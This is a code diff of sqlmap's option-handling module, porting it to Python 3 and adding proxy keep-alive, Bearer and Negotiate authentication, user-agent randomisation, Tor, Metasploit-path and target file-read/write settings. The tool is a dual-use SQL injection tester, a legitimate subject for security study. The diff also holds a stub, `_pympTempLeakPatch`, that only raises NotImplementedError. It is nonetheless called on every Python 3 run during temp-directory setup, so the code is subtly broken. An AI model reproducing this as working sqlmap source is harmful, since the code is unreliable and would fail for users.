hasattr(proxyHandler, "%s_open" % _): + delattr(proxyHandler, "%s_open" % _) + + debugMsg = "creating HTTP requests opener object" + logger.debug(debugMsg) - proxyString += "%s:%d" % (hostname, port) - proxyHandler.proxies = {"http": proxyString, "https": proxyString} + handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) - proxyHandler.__init__(proxyHandler.proxies) + if not conf.dropSetCookie: + if not conf.loadCookies: + conf.cj = _http_cookiejar.CookieJar() + else: + conf.cj = _http_cookiejar.MozillaCookieJar() + resetCookieJar(conf.cj) + + handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) + + # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html + # Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s) + # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled + # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled + # when incompatible (authentication methods, or chunked transfer-encoding of the request body - + # handled by a dedicated, non-pooling handler). Negotiate is the one auth exception: its token is + # a per-request, end-to-end header (minted fresh each request, no connection-bound handshake), so + # persistent connections remain safe and worthwhile. + negotiateAuth = (conf.authType or "").lower() == AUTH_TYPE.NEGOTIATE + conf.keepAlive = not conf.noKeepAlive and not conf.chunked and (not conf.authType or negotiateAuth) + + if conf.keepAlive: + # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS + # handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) + handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) + elif not conf.noKeepAlive and (conf.authType or conf.chunked): + reason = "authentication methods" if conf.authType else "chunked transfer-encoding" + debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason + logger.debug(debugMsg) + + opener = _urllib.request.build_opener(*handlers) + opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" + _urllib.request.install_opener(opener) def _setSafeVisit(): """ Check and set the safe visit options. """ - if not any ((conf.safeUrl, conf.safeReqFile)): + if not any((conf.safeUrl, conf.safeReqFile)): return if conf.safeReqFile: checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) - match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw[:raw.find('\n')]) + match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw.split('\n')[0].strip()) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} - for line in raw[raw.find('\n') + 1:].split('\n'): + for line in raw.split('\n')[1:]: line = line.strip() if line and ':' in line: key, value = line.split(':', 1) value = value.strip() kb.safeReq.headers[key] = value - if key == HTTP_HEADER.HOST: + if key.upper() == HTTP_HEADER.HOST.upper(): if not value.startswith("http"): scheme = "http" if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) - kb.safeReq.url = urlparse.urljoin(value, kb.safeReq.url) + kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url) else: break @@ -1207,16 +1405,16 @@ def _setSafeVisit(): kb.safeReq.post = None else: errMsg = "invalid format of a safe request file" - raise SqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) else: - if not re.search("^http[s]*://", conf.safeUrl): + if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: - conf.safeUrl = "https://" + conf.safeUrl + conf.safeUrl = "https://%s" % conf.safeUrl else: - conf.safeUrl = "http://" + conf.safeUrl + conf.safeUrl = "http://%s" % conf.safeUrl - if conf.safeFreq <= 0: - errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" + if (conf.safeFreq or 0) <= 0: + errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): @@ -1258,7 +1456,7 @@ def _setAuthCred(): def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI), + Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM, Negotiate or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ @@ -1278,31 +1476,37 @@ def _setHTTPAuthentication(): elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " - errMsg += "but did not provide the type" + errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) - elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, NTLM or PKI" + errMsg += "Basic, Digest, Bearer, NTLM, Negotiate or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) - aTypeLower = conf.authType.lower() + authType = conf.authType.lower() - if aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): + if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" - errMsg = "HTTP %s authentication credentials " % aTypeLower + errMsg = "HTTP %s authentication credentials " % authType errMsg += "value must be in format 'username:password'" - elif aTypeLower == AUTH_TYPE.NTLM: - regExp = "^(.*\\\\.*):(.*?)$" - errMsg = "HTTP NTLM authentication credentials value must " - errMsg += "be in format 'DOMAIN\username:password'" - elif aTypeLower == AUTH_TYPE.PKI: + elif authType == AUTH_TYPE.BEARER: + conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) + return + elif authType in (AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE): + # Note: the DOMAIN\username part is colon-free, so the password group takes the full + # remainder (a greedy first group would otherwise swallow colons inside the password). + # For Negotiate, DOMAIN is the Kerberos realm. + regExp = "^([^:]*\\\\[^:]*):(.*)$" + errMsg = "HTTP %s authentication credentials value must " % authType + errMsg += "be in format 'DOMAIN\\username:password'" + elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " - errMsg += "usage of option `--auth-pki`" + errMsg += "usage of option `--auth-file`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) @@ -1313,26 +1517,25 @@ def _setHTTPAuthentication(): conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) - kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() - if aTypeLower == AUTH_TYPE.BASIC: + if authType == AUTH_TYPE.BASIC: authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) - elif aTypeLower == AUTH_TYPE.DIGEST: - authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr) + elif authType == AUTH_TYPE.DIGEST: + authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) - elif aTypeLower == AUTH_TYPE.NTLM: - try: - from ntlm import HTTPNtlmAuthHandler - except ImportError: - errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM, " - errMsg += "http://code.google.com/p/python-ntlm/" - raise SqlmapMissingDependence(errMsg) - - authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) + elif authType == AUTH_TYPE.NTLM: + from lib.request.ntlm import HTTPNtlmAuthHandler + authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) + + elif authType == AUTH_TYPE.NEGOTIATE: + from lib.request.kerberos import HTTPNegotiateAuthHandler + # DOMAIN is the Kerberos realm; the KDC is auto-discovered (env / krb5.conf / DNS SRV / realm) + realm, _, user = conf.authUsername.partition('\\') + authHandler = HTTPNegotiateAuthHandler(realm, user, conf.authPassword) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) @@ -1346,13 +1549,19 @@ def _setHTTPExtraHeaders(): debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) - conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") + if "\\n" in conf.headers: + conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") + else: + conf.headers = conf.headers.replace("\r\n", "\n").split("\n") for headerValue in conf.headers: if not headerValue.strip(): continue - if headerValue.count(':') >= 1: + if headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] + elif headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: @@ -1361,32 +1570,13 @@ def _setHTTPExtraHeaders(): errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) - elif not conf.httpHeaders or len(conf.httpHeaders) == 1: - conf.httpHeaders.append((HTTP_HEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5")) - if not conf.charset: - conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) - else: - conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset)) + elif not conf.requestFile and len(conf.httpHeaders or []) < 2: + if conf.encoding: + conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding)) # Invalidating any caching mechanism in between - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html - conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache,no-store")) - conf.httpHeaders.append((HTTP_HEADER.PRAGMA, "no-cache")) - -def _defaultHTTPUserAgent(): - """ - @return: default sqlmap HTTP User-Agent header - @rtype: C{str} - """ - - return "%s (%s)" % (VERSION_STRING, SITE) - - # Firefox 3 running on Ubuntu 9.04 updated at April 2009 - #return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9" - - # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english - # updated at March 2009 - #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" + # Reference: http://stackoverflow.com/a/1383359 + conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) def _setHTTPUserAgent(): """ @@ -1399,61 +1589,50 @@ def _setHTTPUserAgent(): file choosed as user option """ + debugMsg = "setting the HTTP User-Agent header" + logger.debug(debugMsg) + if conf.mobile: - message = "which smartphone do you want sqlmap to imitate " - message += "through HTTP User-Agent header?\n" - items = sorted(getPublicTypeMembers(MOBILES, True)) + if conf.randomAgent: + _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0] + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _)) + else: + message = "which smartphone do you want sqlmap to imitate " + message += "through HTTP User-Agent header?\n" + items = sorted(getPublicTypeMembers(MOBILES, True)) - for count in xrange(len(items)): - item = items[count] - message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") + for count in xrange(len(items)): + item = items[count] + message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") - test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) + test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) - try: - item = items[int(test) - 1] - except: - item = MOBILES.IPHONE + try: + item = items[int(test) - 1] + except: + item = MOBILES.IPHONE - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: - debugMsg = "setting the HTTP User-Agent header" - logger.debug(debugMsg) - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: _ = True for header, _ in conf.httpHeaders: - if header == HTTP_HEADER.USER_AGENT: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): _ = False break if _: - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) else: - if not kb.userAgents: - debugMsg = "loading random HTTP User-Agent header(s) from " - debugMsg += "file '%s'" % paths.USER_AGENTS - logger.debug(debugMsg) - - try: - kb.userAgents = getFileItems(paths.USER_AGENTS) - except IOError: - warnMsg = "unable to read HTTP User-Agent header " - warnMsg += "file '%s'" % paths.USER_AGENTS - logger.warn(warnMsg) + userAgent = fetchRandomAgent() - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) - return - - userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] - - infoMsg = "fetched random HTTP User-Agent header from " - infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) + infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent + infoMsg += "file '%s'" % paths.USER_AGENTS logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) @@ -1491,6 +1670,19 @@ def _setHTTPCookies(): conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) +def _setHostname(): + """ + Set value conf.hostname + """ + + if conf.url: + try: + conf.hostname = _urllib.parse.urlsplit(conf.url).netloc.split(':')[0] + except ValueError as ex: + errMsg = "problem occurred while " + errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) + raise SqlmapDataException(errMsg) + def _setHTTPTimeout(): """ Set the HTTP timeout @@ -1505,13 +1697,16 @@ def _setHTTPTimeout(): if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 - socket.setdefaulttimeout(conf.timeout) + try: + socket.setdefaulttimeout(conf.timeout) + except OverflowError as ex: + raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) def _checkDependencies(): """ @@ -1521,35 +1716,107 @@ def _checkDependencies(): if conf.dependencies: checkDependencies() +def _createHomeDirectories(): + """ + Creates directories inside sqlmap's home directory + """ + + if conf.get("purge"): + return + + for context in ("output", "history"): + directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 + try: + if not os.path.isdir(directory): + os.makedirs(directory) + + _ = os.path.join(directory, randomStr()) + open(_, "w+").close() + os.remove(_) + + if conf.get("outputDir") and context == "output": + warnMsg = "using '%s' as the %s directory" % (directory, context) + logger.warning(warnMsg) + except (OSError, IOError) as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) + warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) + warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) + + paths["SQLMAP_%s_PATH" % context.upper()] = tempDir + +def _pympTempLeakPatch(tempDir): # Cross-referenced function + raise NotImplementedError + def _createTemporaryDirectory(): """ Creates temporary directory for this run. """ - try: - if not os.path.isdir(tempfile.gettempdir()): - os.makedirs(tempfile.gettempdir()) - except IOError, ex: - errMsg = "there has been a problem while accessing " - errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) - errMsg += "make sure that there is enough disk space left. If problem persists, " - errMsg += "try to set environment variable 'TEMP' to a location " - errMsg += "writeable by the current user" - raise SqlmapSystemException, errMsg - - if "sqlmap" not in (tempfile.tempdir or ""): - tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) + if conf.tmpDir: + try: + if not os.path.isdir(conf.tmpDir): + os.makedirs(conf.tmpDir) + + _ = os.path.join(conf.tmpDir, randomStr()) + + open(_, "w+").close() + os.remove(_) + + tempfile.tempdir = conf.tmpDir + + warnMsg = "using '%s' as the temporary directory" % conf.tmpDir + logger.warning(warnMsg) + except (OSError, IOError) as ex: + errMsg = "there has been a problem while accessing " + errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) + else: + try: + if not os.path.isdir(tempfile.gettempdir()): + os.makedirs(tempfile.gettempdir()) + except Exception as ex: + warnMsg = "there has been a problem while accessing " + warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) + warnMsg += "make sure that there is enough disk space left. If the problem persists, " + warnMsg += "try to set environment variable 'TEMP' to a location " + warnMsg += "writable by the current user" + logger.warning(warnMsg) + + if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: + try: + tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) + except: + tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) kb.tempDir = tempfile.tempdir if not os.path.isdir(tempfile.tempdir): - os.makedirs(tempfile.tempdir) + try: + os.makedirs(tempfile.tempdir) + except Exception as ex: + errMsg = "there has been a problem while setting " + errMsg += "temporary directory location ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) + + conf.tempDirs.append(tempfile.tempdir) + + if six.PY3: + _pympTempLeakPatch(kb.tempDir) def _cleanupOptions(): """ Cleanup configuration attributes. """ + if conf.encoding: + try: + codecs.lookup(conf.encoding) + except LookupError: + errMsg = "unknown encoding '%s'" % conf.encoding + raise SqlmapValueException(errMsg) + debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) @@ -1561,27 +1828,74 @@ def _cleanupOptions(): conf.progressWidth = width - 46 for key, value in conf.items(): - if value and any(key.endswith(_) for _ in ("Path", "File")): - conf[key] = safeExpandUser(value) + if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): + if isinstance(value, str): + conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) - conf.testParameter = conf.testParameter.replace(" ", "") - conf.testParameter = re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter) + conf.testParameter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter)] else: conf.testParameter = [] + if conf.ignoreCode: + if conf.ignoreCode == IGNORE_CODE_WILDCARD: + conf.ignoreCode = xrange(0, 1000) + else: + try: + conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] + except ValueError: + errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD + raise SqlmapSyntaxException(errMsg) + else: + conf.ignoreCode = [] + + if conf.abortCode: + try: + conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)] + except ValueError: + errMsg = "option '--abort-code' should contain a list of integer values" + raise SqlmapSyntaxException(errMsg) + else: + conf.abortCode = [] + + if conf.paramFilter: + conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] + else: + conf.paramFilter = [] + + if conf.base64Parameter: + conf.base64Parameter = urldecode(conf.base64Parameter) + conf.base64Parameter = conf.base64Parameter.strip() + conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) + else: + conf.base64Parameter = [] + + if conf.agent: + conf.agent = re.sub(r"[\r\n]", "", conf.agent) + if conf.user: conf.user = conf.user.replace(" ", "") if conf.rParam: - conf.rParam = conf.rParam.replace(" ", "") - conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) + if all(_ in conf.rParam for _ in ('=', ',')): + original = conf.rParam + conf.rParam = [] + for part in original.split(';'): + if '=' in part: + left, right = part.split('=', 1) + conf.rParam.append(left) + kb.randomPool[left] = filterNone(_.strip() for _ in right.split(',')) + else: + conf.rParam.append(part) + else: + conf.rParam = conf.rParam.replace(" ", "") + conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] - if conf.paramDel and '\\' in conf.paramDel: - conf.paramDel = conf.paramDel.decode("string_escape") + if conf.paramDel: + conf.paramDel = decodeStringEscape(conf.paramDel) if conf.skip: conf.skip = conf.skip.replace(" ", "") @@ -1595,17 +1909,19 @@ def _cleanupOptions(): if conf.delay: conf.delay = float(conf.delay) - if conf.rFile: - conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) + if conf.url: + conf.url = conf.url.strip().lstrip('/') + if not re.search(r"\A\w+://", conf.url): + conf.url = "http://%s" % conf.url - if conf.wFile: - conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile)) + if conf.fileRead: + conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead)) - if conf.dFile: - conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) + if conf.fileWrite: + conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite)) - if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): - conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) + if conf.fileDest: + conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) @@ -1613,31 +1929,64 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)): conf.multipleTargets = True if conf.optimize: setOptimize() - if conf.data: - conf.data = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.data, re.I) - - if conf.url: - conf.url = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.url, re.I) - if conf.os: conf.os = conf.os.capitalize() + if conf.forceDbms: + conf.dbms = conf.forceDbms + if conf.dbms: - conf.dbms = conf.dbms.capitalize() + kb.dbmsFilter = [] + for _ in conf.dbms.split(','): + for dbms, aliases in DBMS_ALIASES: + if _.strip().lower() in aliases: + kb.dbmsFilter.append(dbms) + conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None + break + + if conf.uValues: + conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') - conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) + conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) + + try: + re.compile(conf.testFilter) + except re.error: + conf.testFilter = re.escape(conf.testFilter) + + if conf.csrfToken: + original = conf.csrfToken + try: + re.compile(conf.csrfToken) + + if re.escape(conf.csrfToken) != conf.csrfToken: + message = "provided value for option '--csrf-token' is a regular expression? [y/N] " + if not readInput(message, default='N', boolean=True): + conf.csrfToken = re.escape(conf.csrfToken) + except re.error: + conf.csrfToken = re.escape(conf.csrfToken) + finally: + class _(six.text_type): + pass + conf.csrfToken = _(conf.csrfToken) + conf.csrfToken._original = original if conf.testSkip: conf.testSkip = conf.testSkip.strip('*+') - conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip) + conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip) + + try: + re.compile(conf.testSkip) + except re.error: + conf.testSkip = re.escape(conf.testSkip) if "timeSec" not in kb.explicitSettings: if conf.tor: @@ -1647,43 +1996,47 @@ def _cleanupOptions(): warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) + if conf.url: + match = re.search(r"\A(\w+://)?([^/@?]+)@", conf.url) + if match: + credentials = match.group(2) + conf.url = conf.url.replace("%s@" % credentials, "", 1) + + conf.authType = AUTH_TYPE.BASIC + conf.authCred = credentials if ':' in credentials else "%s:" % credentials + if conf.code: conf.code = int(conf.code) if conf.csvDel: - conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' + conf.csvDel = decodeStringEscape(conf.csvDel) - if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): + if conf.torPort and hasattr(conf.torPort, "isdigit") and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() if conf.outputDir: - paths.SQLMAP_OUTPUT_PATH = conf.outputDir - setPaths() + paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir)) + setPaths(paths.SQLMAP_ROOT_PATH) if conf.string: - try: - conf.string = conf.string.decode("unicode_escape") - except: - charset = string.whitespace.replace(" ", "") - for _ in charset: - conf.string = conf.string.replace(_.encode("string_escape"), _) + conf.string = decodeStringEscape(conf.string) if conf.getAll: - map(lambda x: conf.__setitem__(x, True), WIZARD.ALL) + for _ in WIZARD.ALL: + conf.__setitem__(_, True) if conf.noCast: - for _ in DUMP_REPLACEMENTS.keys(): - del DUMP_REPLACEMENTS[_] + DUMP_REPLACEMENTS.clear() if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() @@ -1692,31 +2045,70 @@ def _cleanupOptions(): conf.torType = conf.torType.upper() if conf.col: - conf.col = re.sub(r"\s*,\s*", ",", conf.col) + conf.col = re.sub(r"\s*,\s*", ',', conf.col) + + if conf.exclude: + regex = False + original = conf.exclude + + if any(_ in conf.exclude for _ in ('+', '*')): + try: + re.compile(conf.exclude) + except re.error: + pass + else: + regex = True + + if not regex: + conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) + conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) + else: + conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) + + class _(six.text_type): + pass - if conf.excludeCol: - conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol) + conf.exclude = _(conf.exclude) + conf.exclude._original = original if conf.binaryFields: - conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields) + conf.binaryFields = conf.binaryFields.replace(" ", "") + conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) + + envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + debugMsg = "using environment proxy '%s'" % envProxy + logger.debug(debugMsg) + + conf.proxy = envProxy + + if any((conf.proxy, conf.proxyFile, conf.tor)): + conf.disablePrecon = True + + if conf.dummy: + conf.batch = True threadData = getCurrentThreadData() threadData.reset() -def _dirtyPatches(): +def _cleanupEnvironment(): """ - Place for "dirty" Python related patches + Cleanup environment (e.g. from leftovers after --shell). """ - httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses) + if getattr(_http_client.socket, "socket", None) is not getattr(socks, "_orgsocket", None): + socks.unwrapmodule(_http_client) -def _purgeOutput(): + if hasattr(socket, "_ready"): + socket._ready.clear() + +def _purge(): """ - Safely removes (purges) output directory. + Safely removes (purges) sqlmap data directory. """ - if conf.purgeOutput: - purge(paths.SQLMAP_OUTPUT_PATH) + if conf.purge: + purge(paths.SQLMAP_HOME_PATH) def _setConfAttributes(): """ @@ -1735,8 +2127,11 @@ def _setConfAttributes(): conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None + conf.fileWriteType = None + conf.HARCollectorFactory = None conf.hashDB = None conf.hashDBFile = None + conf.httpCollector = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False @@ -1747,12 +2142,11 @@ def _setConfAttributes(): conf.path = None conf.port = None conf.proxyList = None - conf.resultsFilename = None conf.resultsFP = None conf.scheme = None conf.tests = [] + conf.tempDirs = [] conf.trafficFP = None - conf.wFileType = None def _setKnowledgeBaseAttributes(flushAll=True): """ @@ -1766,42 +2160,66 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.absFilePaths = set() kb.adjustTimeDelay = None kb.alerted = False + kb.aliasName = randomStr() kb.alwaysRefresh = None kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() + kb.base64Originals = {} kb.binaryField = False + kb.browserVerification = None kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False kb.cache = AttribDict() - kb.cache.content = {} + kb.cache.addrinfo = {} + kb.cache.content = LRUDict(capacity=16) + kb.cache.comparison = LRUDict(capacity=256) + kb.cache.encoding = LRUDict(capacity=256) + kb.cache.alphaBoundaries = None + kb.cache.charsetAsciiTbl = None + kb.cache.hashRegex = None + kb.cache.intBoundaries = None + kb.cache.parsedDbms = {} kb.cache.regex = {} kb.cache.stdev = {} + kb.captchaDetected = None + kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.start = 